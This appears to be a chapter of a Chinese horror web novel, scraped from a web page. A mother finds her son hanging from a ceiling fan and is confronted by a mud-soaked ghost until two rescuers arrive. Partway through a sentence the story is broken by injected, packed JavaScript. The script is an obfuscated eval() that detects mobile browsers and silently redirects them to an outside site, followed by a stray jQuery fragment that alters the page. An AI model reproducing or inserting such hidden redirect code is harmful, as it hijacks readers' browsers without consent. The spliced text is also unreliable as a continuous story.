事到如今,事情已经完全失控了,天知道‘陈欣欣’会去哪里。
但无论她是换个地方苟着,还是找个地方搞事情,晚上都要回公司的。
公司的阴气很重,适合仪式的进行,林然之前也说过,在公司的时候,周可音的力量会更强一些。
还有就是,如果周可音真的想成为‘陈欣欣’,她早就成功了,但周可音迟迟没有这么做,嗯,真是多亏了陈欣欣的原生家庭。
也就是说,陈欣欣还是有一线生机的。
这么想着,出租车已经停在了附属小区的门口,纪明霜下了车,这时,电话那头的陈母说,“那个,我到家了,阿荣还没有吃午饭……”
纪明霜难以理解,“陈欣欣都失踪了,你还关心陈荣没有吃午饭?”
“反正欣欣一时半会也找不回来,我表哥他们也帮忙去找人了,我……我的意思是,也许欣欣会回家看看也说不定呢?”
的确有这种可能,纪明霜没有多说什么,但她又听到了陈母的自言自语,“咦,门把手怎么这么冰……”
纪明霜追问道,“你家的门牌号是多少?”
陈母有些警惕,“你问这个干什么?”
纪明霜,“我感觉事情不太对劲……”
陈母打开了房门,“小姑娘,不好意思,我担心你身上有什么不干净的东西……所以请你在小区门口等一会儿,我送个饭就回来。”
纪明霜看向了林然,嗯,从某种意义上来说,陈母也没有说错。
所谓‘不干净的东西’,一般是指鬼和鬼的附属物,比如阴气之类的,但实际上,林然干净得就像一块纯净而晶莹剔透的冰,反而是陈母……
嗯,可以这么说,对陈欣欣而言,陈母比周可音更可怕。
另一边,陈母把打包好的饭食放在了客厅的桌子上,又去敲了敲陈荣的房门,“阿荣,出来吃饭吧,妈妈今天不能陪你一起吃了,你姐姐不见了,妈妈要出去找,妈妈不在,你别光顾着学习,要按时吃午饭啊。”
陈荣没有回应,陈母只听到房间里老旧风扇晃晃悠悠转动的声音。
“阿荣,怎么回事,是睡觉了吗?”陈母尝试着推了推门,没有推开。
她顿觉不妙,拧了门把手,是锁着的,她又开始用力敲门,“阿荣,阿荣,怎么回事,你没事吧,回答妈妈一声啊!”
房间里没有声音,陈母开始撞门,但她的力气不够,门丝毫未动,陈母对着门里喊道,“阿荣,妈妈马上去找人,你稍等一会儿。”
她转身向门口跑去,又对电话里的纪明霜说,“小姑娘,不好意思,麻烦你过来一趟,我会给你钱的,我的地址是……”
她进来的时候没有关门,当她跑到门口的时候,被一股力量直接拖到了陈荣房间的门口,她眼睁睁地看着自己离门口越来越远,与此同时,陈荣房间的门‘吱呀’一声打开了。
此时,周围又暗了下来,准确地说,不仅是房间里,就连窗外的天光也跟着暗了下来,这种色调并不是夜幕降临的蓝黑色,而是傍晚时天边的霞光即将被夜晚吞噬的暗红色,房间里的温度骤降,陈母搓了搓手臂,突然的温差和心底的恐惧让她的头皮绷得很紧,她的肩膀都在发抖,她的手心攥得生疼,她当然知道这里有脏东西,但是……但是……
阿荣还在这里啊……
她硬着头皮,走进了陈荣的房间,不过是一条老命罢了,有什么好怕的,但她不忘对着电话说,“那个,小姑娘,你还在吗,能不能请你过来帮个忙?”
手机的屏幕完全黑了,也不知道那个小姑娘有没有听到她刚刚报的门牌号。
虽然是领导推荐的人,但也只是一个小姑娘而已……
早知道,就花钱请大师来做法了。
但后悔已经来不及了,陈母推开了虚掩的门,她看到房间里有一个直直站立着的黑色身影,从身形和衣着判断,那个人正是陈荣。
他正挂在屋顶电风扇的扇叶上,双眼暴凸,脸色发蓝,嘴唇发黑,他的体重太沉了,没办法像唐宇一样挂在扇叶上旋转,所以他被挂在风扇中央的位置,勒住他脖子的绳子比较长,所以他可以靠着脚尖的力量勉强支撑着身体,他此时还活着,但虚弱极了,他的胳膊已经抬不起来了,只能费力地用手指指向陈母的身后。
陈母没有注意到他的提示,因为房间里没有拉窗帘,也没有开灯,比客厅暗得多,她压根看不到这样的细节,但她突然感觉有人在她的后颈处吹气,凉飕飕的,不仅如此,她还听到了嗅闻的声音,像一只鬣狗正准备享用偷来的美餐,陈母今天受到了接二连三的惊吓,这么说吧,要不是为了阿荣,她已经晕倒了。
她没有下一步的动作,对方也没有下一步的动作,她站在门口,脸上的表情难看极了,她想哭,想尖叫,但她不敢,只能维持着如哭如笑的僵硬表情。
她想,也许那个小姑娘听到了她报的门牌号,马上就会过来敲门,也许会像之前那样,突然天光大亮,鬼怪无影无踪,但是,这两种情况都没有出现,她的袜子渐渐濡湿了。
她闭着眼睛低下头,做好心理准备才睁开眼,看到脚边是缓缓漫上来的浑浊泥浆,一种湿冷的感觉蔓延到了她的全身。
陈荣房间里的灯是关着的,房间里微弱的光线来自她的身后,于是,在她的影子旁边,立着另一个黑影,那个黑影的身上正在不停地滴着泥浆,陈母已经站不住了,但那个影子仍是一动不动。
“欣、欣、在、哪?”
陈母睁大了眼,她好像在哪里听过这个声音,那个黑影朝她走近了一步,陈母立刻跑到了陈荣身边,她想把陈荣从风扇上放下来,但是陈荣突然说话了。
他说,“欣、欣、在、哪。”
陈母猛地放开了陈荣,往后方退去,“我、我也不知道,我正在找她。”
门口的黑影也问道,“欣、欣、在、哪。”
“我不知道……”
每当她沉默以对,或者硬着头皮回答,那个黑影都会朝着她走出一步,陈母连连后退,退到了房间的角落里,已经退无可退。
他似乎并不在乎她的回答,只是机械地问着,“欣、欣、在、哪?”
陈母再也无法控制自己的情绪了,她嚎哭出声,“我也不知道……冤有头,债有主,如果她做了什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419854|168984||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么不好的事,你就去找她啊,为什么要害我的阿荣……呜呜,我的阿荣啊……”
四面的墙壁朝着她压了过来,冰冷的泥浆也跟着漫了上来,沉重的、肮脏的、绝望的气体从她的肺里不受控制地涌了出来,她张大了嘴,仍是呼吸困难,她艰难地朝着前方模糊的身影伸出了手,“阿荣……”
转机就在此刻发生。
“唐、宇!”
这是一个年轻女孩的声音,陈母感觉身上一松,终于能够顺畅地呼吸了,周围的环境也恢复了正常,她连滚带爬地跑到陈荣的身边,把一直勉强支撑着的陈荣解了下来,“阿荣,怎么样,你没事吧……”
陈荣躺在地上,两眼无神,全身都是冷汗,已经完全虚脱了,唐宇来找过他,周可音来哄骗他,唐宇现在又过来找他算账,他的阳气已经被压得很低了。
陈母先是遭遇了周可音,又撞见了唐宇,阳气一样低得吓人,于是,这两个人,都能看到纪明霜身边的林然。
陈荣瞪大了双眼,抓住了陈母的双手,“妈……妈,救救我,你救救我,他们就是那一对男鬼和女鬼……还有他,他是那个穷小子唐宇,他……他怎么变成这样了?”
“因为他死了。”纪明霜幽幽地说。
陈母看向唐宇,唐宇也看向了陈母,他的左眼上附着一层透明蚕蛹一样的翳,右眼也浑浊得分不清眼白与虹膜,他的脸或者说整个头都变形了,身上有多处外伤和骨折的痕迹,苍白的皮肤上浮着大大小小的浅淡尸斑,他一张嘴,鼻孔和嘴巴里就流出泥沙,似乎还有某种拳头大小的生物,正寄生在他的口中,他的身体关节都是僵直的,只眼珠的转动最灵活,他死死地盯着陈母,陈母惊恐地捂住了嘴。
林然没有说话,他先是给了唐宇一拳,在陈母和陈荣呆滞的目光中,唐宇的头被打得旋转了两圈,之后,林然又抬腿,一记干脆利落的飞踢,正中唐宇的下巴,唐宇整个鬼飞了起来,直接穿过墙壁,飞到了房间的外面,而后,他又被林然揪着领子拎了回来,扔到房间中央的地板上。
陈荣看着林然,目瞪口呆,“你……”
林然看了他一眼,陈荣立刻爬了起来,规规矩矩地坐好。
陈母心疼地把儿子揽在了怀中,“你、你们这是……”
纪明霜没有回答她,而是问唐宇道,“说说吧,怎么回事?”
唐宇说,“欣、欣,陪、葬。”
“……姐姐?”陈荣大声叫骂道,“唐宇,我草,你死了,要我姐姐为你陪葬,凭什么啊!”
纪明霜说,“你想多了,是要你和你妈,可能也要加上你爸,为陈欣欣陪葬……”
陈母弱弱地说,“但欣欣只是失踪了啊,她应该还没死吧……”
纪明霜:“这还不是因为你,把她从灰灰公寓里带走,又把她的符箓撕碎……”
“什么符箓,就是那张黄纸?”陈母说,“可是,那张纸,里面不是有鬼吗?”
就算纪明霜说了实话,陈母也不会相信,所以,纪明霜说,“嗯,那张黄纸上画了一间房子,里面住了三个鬼,你把鬼的房子弄坏了,鬼没地方住,就会住进你家里。”